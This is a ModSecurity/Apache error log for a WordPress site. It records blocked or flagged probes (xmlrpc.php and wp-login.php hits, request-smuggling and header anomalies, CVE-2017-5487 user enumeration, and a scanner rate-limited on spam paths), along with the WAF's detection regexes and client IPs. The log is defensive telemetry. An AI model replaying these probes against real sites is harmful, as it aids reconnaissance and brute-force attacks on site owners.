[Sat Feb 14 03:12:15.470578 2026] [:error] [pid 46821:tid 46836] [client 47.100.130.223:36042] [client 47.100.130.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.100.130.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY93j46G1N5YSq0J0gdUnQAAAU0"]
[Sat Feb 14 03:56:19.873472 2026] [:error] [pid 21785:tid 21816] [client 43.166.1.243:34410] [client 43.166.1.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aY-B4wOBjP5pmZ2xNN4ViAAAAYI"]
[Sat Feb 14 04:18:01.529755 2026] [:error] [pid 21194:tid 21214] [client 117.62.235.53:43987] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aY-G-YW0MV8dvwNvAHoHXwAAAAs"]
[Sat Feb 14 04:39:00.788330 2026] [:error] [pid 21196:tid 21278] [client 104.248.23.4:44596] [client 104.248.23.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.248.23.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY-L5PtQbaugyUK6TM9s7wAAAJQ"]
[Sat Feb 14 05:36:49.496096 2026] [:error] [pid 21195:tid 21247] [client 159.223.103.141:59606] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY-Zcd_2sARdLQ6dpsU87AAAAFA"]
[Sat Feb 14 05:49:13.850374 2026] [:error] [pid 21752:tid 21776] [client 216.73.216.179:4859] [client 216.73.216.179] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||gigfragments.org|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aY-cWROc0bldMgpeu11phQAAARY"]
[Sat Feb 14 06:31:28.298503 2026] [:error] [pid 21784:tid 21804] [client 184.168.120.235:41200] [client 184.168.120.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.120.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY-mQK1lOIszF3YGN_9-3wAAAVE"]
[Sat Feb 14 06:31:29.787941 2026] [:error] [pid 21784:tid 21794] [client 103.143.231.246:51478] [client 103.143.231.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.143.231.246, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY-mQa1lOIszF3YGN_9-4AAAAUc"]
[Sat Feb 14 06:32:33.496298 2026] [:error] [pid 21195:tid 21241] [client 184.168.120.235:57788] [client 184.168.120.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 184.168.120.235, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY-mgd_2sARdLQ6dpsVGggAAAEo"]
[Sat Feb 14 06:32:40.998269 2026] [:error] [pid 21784:tid 21805] [client 129.226.82.190:52208] [client 129.226.82.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.226.82.190, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY-miK1lOIszF3YGN_9_HAAAAVI"]
[Sat Feb 14 06:32:50.474597 2026] [:error] [pid 21195:tid 21233] [client 35.222.174.159:36400] [client 35.222.174.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.174.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY-mkt_2sARdLQ6dpsVGkgAAAEI"]
[Sat Feb 14 06:33:05.197593 2026] [:error] [pid 58882:tid 58893] [client 116.72.181.115:48042] [client 116.72.181.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.72.181.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY-moZ5gZqnf2ItlwapJIgAAAck"]
[Sat Feb 14 06:38:26.959620 2026] [:error] [pid 21299:tid 21313] [client 78.138.99.185:22469] [client 78.138.99.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\n|\\\\r)+(?:get|post|head|options|connect|put|delete|trace|propfind|propatch|mkcol|copy|move|lock|unlock)\\\\s+" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "137"] [id "217280"] [rev "6"] [msg "COMODO WAF: HTTP Request Smuggling Attack||gigfragments.org|F|2"] [data "Matched Data: get found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/contact/"] [unique_id "aY-n4iOQKXTT1MWe_sDl6gAAAMs"], referer: https://gigfragments.org/contact/
[Sat Feb 14 07:26:51.264300 2026] [:error] [pid 21299:tid 21303] [client 207.154.197.201:57636] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY-zOyOQKXTT1MWe_sDu_gAAAME"]
[Sat Feb 14 08:23:43.306651 2026] [:error] [pid 58882:tid 58886] [client 211.21.61.224:32840] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_Aj55gZqnf2ItlwapjjAAAAcI"]
[Sat Feb 14 09:15:04.753323 2026] [:error] [pid 21784:tid 21805] [client 92.63.174.165:45590] [client 92.63.174.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.63.174.165, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_MmK1lOIszF3YGN_-fsQAAAVI"]
[Sat Feb 14 09:23:22.361641 2026] [:error] [pid 21194:tid 21209] [client 138.84.73.198:43992] [client 138.84.73.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.84.73.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_OioW0MV8dvwNvAHo7zAAAAAY"]
[Sat Feb 14 10:14:44.125642 2026] [:error] [pid 21752:tid 21761] [client 134.122.6.46:34528] [client 134.122.6.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.6.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_alBOc0bldMgpeu12bGwAAAQc"]
[Sat Feb 14 10:39:33.764327 2026] [:error] [pid 8039:tid 8066] [client 182.40.104.255:52942] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aY_gZXLa1ioCIZV3fA4DWQAAAxY"]
[Sat Feb 14 10:53:57.663022 2026] [:error] [pid 7982:tid 8027] [client 81.88.52.202:48914] [client 81.88.52.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.52.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_jxWLTp1DWAgIKqwSPfwAAAtA"]
[Sat Feb 14 10:54:33.894967 2026] [:error] [pid 28853:tid 28855] [client 117.4.254.166:57878] [client 117.4.254.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.4.254.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_j6bwdrXcA78tPzCiQxQAAAMA"]
[Sat Feb 14 10:54:44.179489 2026] [:error] [pid 21196:tid 21281] [client 162.0.213.109:54208] [client 162.0.213.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.213.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_j9PtQbaugyUK6TM-6gQAAAJc"]
[Sat Feb 14 10:54:46.980790 2026] [:error] [pid 21785:tid 21815] [client 35.222.174.159:42044] [client 35.222.174.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.222.174.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_j9gOBjP5pmZ2xNN6I6AAAAYE"]
[Sat Feb 14 10:55:07.782275 2026] [:error] [pid 7849:tid 7869] [client 34.55.73.47:41244] [client 34.55.73.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.55.73.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_kC6o2GBj-ngzmcoV9hAAAAhI"]
[Sat Feb 14 10:55:18.593191 2026] [:error] [pid 21194:tid 21215] [client 8.130.142.207:57758] [client 8.130.142.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.130.142.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_kFoW0MV8dvwNvAHpL6QAAAAw"]
[Sat Feb 14 11:13:40.136495 2026] [:error] [pid 7849:tid 7854] [client 139.59.226.59:45634] [client 139.59.226.59] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.226.59, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_oZKo2GBj-ngzmcoWCwgAAAgM"]
[Sat Feb 14 12:05:17.964452 2026] [:error] [pid 28853:tid 28867] [client 157.230.24.5:45230] [client 157.230.24.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.24.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY_0fbwdrXcA78tPzCiqcQAAAMw"]
[Sat Feb 14 12:54:43.769896 2026] [:error] [pid 58882:tid 58893] [client 43.130.139.177:45360] [client 43.130.139.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZAAE55gZqnf2ItlwaqYyQAAAck"]
[Sat Feb 14 13:55:47.978739 2026] [:error] [pid 63325:tid 63330] [client 139.162.108.43:35538] [client 139.162.108.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.162.108.43, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZAOYwGMleU5keYIEc5cuAAAAIE"]
[Sat Feb 14 13:56:01.200667 2026] [autoindex:error] [pid 63327:tid 63369] [client 139.59.24.163:56899] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 14 14:55:42.204125 2026] [:error] [pid 63327:tid 63380] [client 157.66.56.134:59553] [client 157.66.56.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.56.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZAcbi9btvSz88ToHa-k8gAAAZg"]
[Sat Feb 14 14:55:44.234634 2026] [:error] [pid 63327:tid 63367] [client 157.66.56.134:59826] [client 157.66.56.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.56.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZAccC9btvSz88ToHa-k9AAAAYs"]
[Sat Feb 14 15:01:50.062172 2026] [:error] [pid 63325:tid 63338] [client 97.74.92.57:50844] [client 97.74.92.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 97.74.92.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZAd3gGMleU5keYIEc5rQAAAAIk"]
[Sat Feb 14 15:02:49.407345 2026] [:error] [pid 28883:tid 28923] [client 97.74.92.57:45474] [client 97.74.92.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 97.74.92.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZAeGWBZFo3PsPpATCy08AAAAos"]
[Sat Feb 14 15:02:56.741858 2026] [:error] [pid 2599:tid 2636] [client 89.46.109.106:31712] [client 89.46.109.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.109.106, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZAeIGOe_Gk2k-YfhF_szgAAA8o"]
[Sat Feb 14 15:16:43.515336 2026] [:error] [pid 63325:tid 63346] [client 157.66.56.134:63917] [client 157.66.56.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.56.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZAhWwGMleU5keYIEc5uSwAAAJE"]
[Sat Feb 14 15:16:47.867868 2026] [:error] [pid 2536:tid 2574] [client 157.66.56.134:57618] [client 157.66.56.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.66.56.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZAhX9i4vmAXN34vJYw3bAAAAck"]
[Sat Feb 14 16:05:23.237670 2026] [:error] [pid 35193:tid 35212] [client 103.117.180.206:53196] [client 103.117.180.206] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZAsw87okn8Vvg54roS19QAAAk0"]
[Sat Feb 14 16:07:44.778105 2026] [:error] [pid 35135:tid 35151] [client 13.76.156.231:7918] [client 13.76.156.231] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZAtUIkSccJZYMDP04wNVAAAAQ0"]
[Sat Feb 14 16:22:32.765264 2026] [:error] [pid 2503:tid 2514] [client 147.135.213.32:35000] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZAwyLtdZ0Z5BhXymOB3AQAAAMk"]
[Sat Feb 14 16:22:34.618996 2026] [:error] [pid 28883:tid 28923] [client 147.135.213.32:43942] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZAwymBZFo3PsPpATCzBJwAAAos"]
[Sat Feb 14 16:22:36.527644 2026] [:error] [pid 36219:tid 36250] [client 147.135.213.32:43954] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZAwzJe-m2OpEy0FNjgn6gAAA4I"]
[Sat Feb 14 16:22:38.471929 2026] [:error] [pid 35193:tid 35205] [client 147.135.213.32:57446] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZAwzs7okn8Vvg54roS4wQAAAkY"]
[Sat Feb 14 16:22:40.335143 2026] [:error] [pid 35193:tid 35207] [client 147.135.213.32:57452] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZAw0M7okn8Vvg54roS4xQAAAkg"]
[Sat Feb 14 16:22:42.440727 2026] [:error] [pid 36219:tid 36249] [client 147.135.213.32:57458] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZAw0pe-m2OpEy0FNjgn8AAAA4E"]
[Sat Feb 14 16:22:44.263429 2026] [:error] [pid 21195:tid 21244] [client 147.135.213.32:57464] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZAw1N_2sARdLQ6dpsWxjwAAAE0"]
[Sat Feb 14 16:22:46.073149 2026] [:error] [pid 28883:tid 28917] [client 147.135.213.32:57470] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZAw1mBZFo3PsPpATCzBMAAAAoU"]
[Sat Feb 14 16:22:47.874905 2026] [:error] [pid 28883:tid 28919] [client 147.135.213.32:58182] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZAw12BZFo3PsPpATCzBNQAAAoc"]
[Sat Feb 14 16:22:49.784680 2026] [:error] [pid 63325:tid 63329] [client 147.135.213.32:58190] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZAw2QGMleU5keYIEc55LwAAAIA"]
[Sat Feb 14 16:22:51.859787 2026] [:error] [pid 2503:tid 2510] [client 147.135.213.32:58194] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZAw27tdZ0Z5BhXymOB3GAAAAMU"]
[Sat Feb 14 16:22:53.792724 2026] [:error] [pid 7982:tid 8024] [client 147.135.213.32:58196] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZAw3WLTp1DWAgIKqwTWHwAAAs0"]
[Sat Feb 14 16:22:55.572891 2026] [:error] [pid 35193:tid 35212] [client 147.135.213.32:58212] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZAw387okn8Vvg54roS41gAAAk0"]
[Sat Feb 14 16:22:57.471874 2026] [:error] [pid 36219:tid 36266] [client 147.135.213.32:57796] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZAw4Ze-m2OpEy0FNjgn_AAAA5I"]
[Sat Feb 14 16:22:59.408924 2026] [:error] [pid 35193:tid 35204] [client 147.135.213.32:57806] [client 147.135.213.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZAw487okn8Vvg54roS43gAAAkU"]
